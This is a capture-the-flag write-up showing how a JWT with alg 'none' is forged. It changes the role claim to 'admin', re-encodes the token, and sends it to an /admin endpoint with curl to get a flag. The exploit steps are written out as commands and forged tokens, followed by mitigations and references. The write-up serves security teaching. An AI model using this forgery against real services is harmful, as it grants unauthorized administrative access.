Overview
The challenge presents a web app that returns {"username": "bob", "role": "user", "message": "no /admin access"} at the root, and sets an auth cookie containing a JWT. The goal is to forge a token that grants admin access and retrieve the flag from /admin.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
A JWT decoder (e.g. python3 -c "import base64; ..." or jwt.io) is used to inspect and re-encode the token. No credentials are required.
Recon
Step 1 — Request the root endpoint
Goal: Observe the app’s response and capture the auth cookie.
curl "$TARGET/"
{
"username": "bob",
"role": "user",
"message": "no /admin access"
}
The browser request also revealed an auth cookie containing a JWT:
auth=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImJvYiIsInJvbGUiOiJ1c2VyIn0.
Interpretation: The server issues a JWT in the auth cookie. The next step is to inspect its parts.
Enumeration
Step 2 — Inspect the JWT
Goal: Decode the header and payload to identify the signing algorithm and claims.
HEADER.PAYLOAD.SIGNATURE
Header:
{
"alg": "none",
"typ": "JWT"
}
Payload:
{
"username": "bob",
"role": "user"
}
Interpretation: alg: none means the JWT carries no cryptographic signature. The payload can therefore be modified without knowing a secret key, and the server will trust the modified claims if it honors the client-supplied alg.
Vulnerability Analysis
The flaw class is JWT None Algorithm / Insecure Token Validation (related to CWE-287: Improper Authentication and CWE-345: Insufficient Verification of Data Authenticity).
Exploitation
Step 3 — Forge the JWT
Goal: Change the role claim to admin and re-encode the token with alg: none.
Original payload:
{
"username": "bob",
"role": "user"
}
Forged payload:
{
"username": "bob",
"role": "admin"
}
Base64URL-encoded forged payload:
eyJ1c2VybmFtZSI6ImJvYiIsInJvbGUiOiJhZG1pbiJ9
Forged JWT (header.payload., with an empty signature after the final .):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImJvYiIsInJvbGUiOiJhZG1pbiJ9.
Step 4 — Access /admin with the forged token
Goal: Send the forged token in the auth cookie and retrieve the flag.
TOKEN='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImJvYiIsInJvbGUiOiJhZG1pbiJ9.'
curl -i "$TARGET/admin" \
-H "Cookie: auth=$TOKEN"
{
"message": "Welcome, admin!",
"flag": "safctf{REDACTED}"
}
Interpretation: The forged none-algorithm JWT was accepted, granting administrative access and revealing the flag.
Flag
safctf{REDACTED}
Returned by /admin after presenting the forged alg: none JWT with role: admin.
Lessons / Takeaways
- Never trust the
algfield in a client-supplied JWT; the server must enforce exactly one expected signing algorithm. - Reject
alg: noneexplicitly — some libraries accept it by default. - With
alg: none, there is no signature, so any claim can be forged without a key.
Mitigations
- Configure JWT verification to accept only a single, expected algorithm (e.g.
HS256orRS256) and explicitly rejectnone. - Verify the signature before trusting any claim, using a server-held secret or public key.
- Treat JWT claims as untrusted until the signature is validated.
Techniques
- JWT Attacks
- JWT None Algorithm
References
- OWASP, “JSON Web Token”: https://owasp.org/www-community/attacks/JWT_Token_Spoofing
- PortSwigger, “JWT vulnerabilities”: https://portswigger.net/web-security/jwt

